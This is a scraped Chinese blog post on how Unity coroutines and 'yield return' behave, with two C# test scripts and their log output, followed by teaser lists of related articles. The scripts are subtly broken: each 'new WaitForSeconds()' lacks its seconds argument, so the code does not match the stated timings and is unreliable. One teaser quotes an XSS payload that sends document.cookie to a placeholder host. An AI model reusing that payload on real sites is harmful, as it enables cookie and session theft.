yield return的作用
测试1:
using UnityEngine;
using System.Collections; public class test1 : MonoBehaviour { // Use this for initialization
void Start ()
{
Debug.Log("in start " + Time.time.ToString());
StartCoroutine(callYieldFunction()); //必须要用StartCoroutine
Debug.Log("in start 2 " + Time.time.ToString());
} // Update is called once per frame
void Update () { } IEnumerator callYieldFunction()
{
Debug.Log("callYieldFunction " + Time.time.ToString());
//yield return StartCoroutine(callYieldFunction1());
StartCoroutine(callYieldFunction1());
yield return new WaitForSeconds();
Debug.Log("callYieldFunction print after 2 seconds " + Time.time.ToString());
} IEnumerator callYieldFunction1()
{
Debug.Log("callYieldFunction1 " + Time.time.ToString());
yield return new WaitForSeconds();
Debug.Log("callYieldFunction print after 4 seconds " + Time.time.ToString());
}
}
运行结果为
in start 0
callYieldFunction 0
callYieldFunction1 0
in start 2 0
callYieldFunction print after 4 seconds 2.004971
callYieldFunction print after 2 seconds 2.004971
测试2:
using UnityEngine;
using System.Collections; public class test1 : MonoBehaviour { // Use this for initialization
void Start ()
{
Debug.Log("in start " + Time.time.ToString());
StartCoroutine(callYieldFunction()); //必须要用StartCoroutine
Debug.Log("in start 2 " + Time.time.ToString());
} // Update is called once per frame
void Update () { } IEnumerator callYieldFunction()
{
Debug.Log("callYieldFunction " + Time.time.ToString());
yield return StartCoroutine(callYieldFunction1());
//StartCoroutine(callYieldFunction1());
yield return new WaitForSeconds();
Debug.Log("callYieldFunction print after 2 seconds " + Time.time.ToString());
} IEnumerator callYieldFunction1()
{
Debug.Log("callYieldFunction1 " + Time.time.ToString());
yield return new WaitForSeconds();
Debug.Log("callYieldFunction print after 4 seconds " + Time.time.ToString());
}
}
运行结果为:
in start 0
callYieldFunction 0
callYieldFunction1 0
in start 2 0
callYieldFunction print after 4 seconds 2.002947
callYieldFunction print after 2 seconds 4.007511
结果:
需要注意的是StartCoroutine(callYieldFunction());这句必须要加StartCoroutine,不然callYieldFunction()里面根本不会运行。
1:StartCoroutine里面的函数是个闭包,主线程运行这个闭包,直到yield return,闭包中剩下的代码不运行,跳出闭包,运行主线程别的代码;
2:主线程在下一帧运行yield return后面的函数(估计是把所有闭包放在一个list里面,每帧的一个特点时间执行list里面的闭包)。
3:整个闭包应该保存了堆栈信息
yield return的作用的更多相关文章
- 可惜Java中没有yield return
项目中一个消息推送需求,推送的用户数几百万,用户清单很简单就是一个txt文件,是由hadoop计算出来的.格式大概如下: uid caller 123456 12345678901 789101 12 ...
- C#中的using和yield return混合使用
最近写代码为了为了省事儿用了几个yield return,因为我不想New一个List<T>或者T[]对象再往里放元素,就直接返回IEnumerable<T>了.我的代码里还有 ...
- C#中的yield return与Unity中的Coroutine(协程)(上)
C#中的yield return C#语法中有个特别的关键字yield, 它是干什么用的呢? 来看看专业的解释: yield 是在迭代器块中用于向枚举数对象提供值或发出迭代结束信号.它的形式为下列之一 ...
- using和yield return
C#中的using和yield return混合使用 最近写代码为了为了省事儿用了几个yield return,因为我不想New一个List<T>或者T[]对象再往里放元素,就直接返回IE ...
- yield return的用法简介
使用yield return 语句可一次返回一个元素. 迭代器的声明必须满足以下要求: 返回类型必须为 IEnumerable.IEnumerable<T>.IEnumerator 或 I ...
- yield学习续:yield return迭代块在Unity3D中的应用——协程
必读好文推荐: Unity协程(Coroutine)原理深入剖析 Unity协程(Coroutine)原理深入剖析再续 上面的文章说得太透彻,所以这里就记一下自己的学习笔记了. 首先要说明的是,协程并 ...
- C#中yield return用法分析
这篇文章主要介绍了C#中yield return用法,对比使用yield return与不使用yield return的流程,更直观的分析了yield return的用法,需要的朋友可以参考下. 本文 ...
- C#中的yield return与Unity中的Coroutine(协程)(下)
Unity中的Coroutine(协程) 估计熟悉Unity的人看过或者用过StartCoroutine() 假设我们在场景中有一个UGUI组件, Image: 将以下代码绑定到Image using ...
- 12.C#yield return和yield break及实际应用小例(六章6.2-6.4)
晚上好,各位.今天结合书中所讲和MSDN所查,聊下yield关键字,它是我们简化迭代器的关键. 如果你在语句中使用了yield关键字,则意味着它在其中出现的方法.运算符或get访问器是迭代器,通过使用 ...
随机推荐
- wamp下多域名配置
1.找到wamp安装目录的apache安装目录 找到 httpd.conf文件 例如我安装的目录为 E:\wamp\bin\apache\apache2.2.8\conf\httpd.conf 也可以 ...
- centos下安装mysql遇到的问题
我前边遇到的坎,竟然和这篇百度经验惊人的相似,他帮我大忙了,十分感谢作者啊,连接双手奉上http://jingyan.baidu.com/article/ce436649fec8533773afd38 ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- Print all nodes at distance k from a given node
Given a binary tree, a target node in the binary tree, and an integer value k, print all the nodes t ...
- [原创]CI持续集成系统环境---部署gerrit环境完整记录
开发同事提议在线上部署一套gerrit代码审核环境,不用多说,下面就是自己部署gerrit的操作记录. 提前安装好java环境,mysql环境,nginx环境 测试系统:centos6.5 下载下面三 ...
- WordPress 添加面包屑导航
所谓面包屑,就是类似这种:首页 > 公司简介 > 发展历史 展示网站树型结构,并让网站访问者随时知道自己所处的位置,方便返回上几级. 将下面的代码添加到主题的 functions.php ...
- JMeter学习-004-WEB脚本入门实战
此文为 JMeter 入门实战实例.我是 JMeter 初学菜鸟一个,因而此文适合 JMeter 初学者参阅.同时,因本人知识有限,若文中存在不足的地方,敬请大神不吝指正,非常感谢! 闲话少述,话归正 ...
- Progressive Scanning (逐行扫描) vs Interlaced Scanning (隔行扫描)
source: http://sh.sina.com.cn/20041207/231443445.shtml 逐行扫描每一帧图像均是由电子束顺序地一行接着一行连续扫描而成.要得到稳定的逐行扫描图像,每 ...
- spring设置webAppRootKey
今天一个同事来问webAppRootKey 在哪设置的 <context-param> <param-name>webAppRootKey</param-name> ...
- jq 截取字符串
var str="abcde";截取ab;str=str.substring(0,2);意思是从第一个字符开始截取两位: 一.函数:split() 功能:使用一个指定的分隔符把一个 ...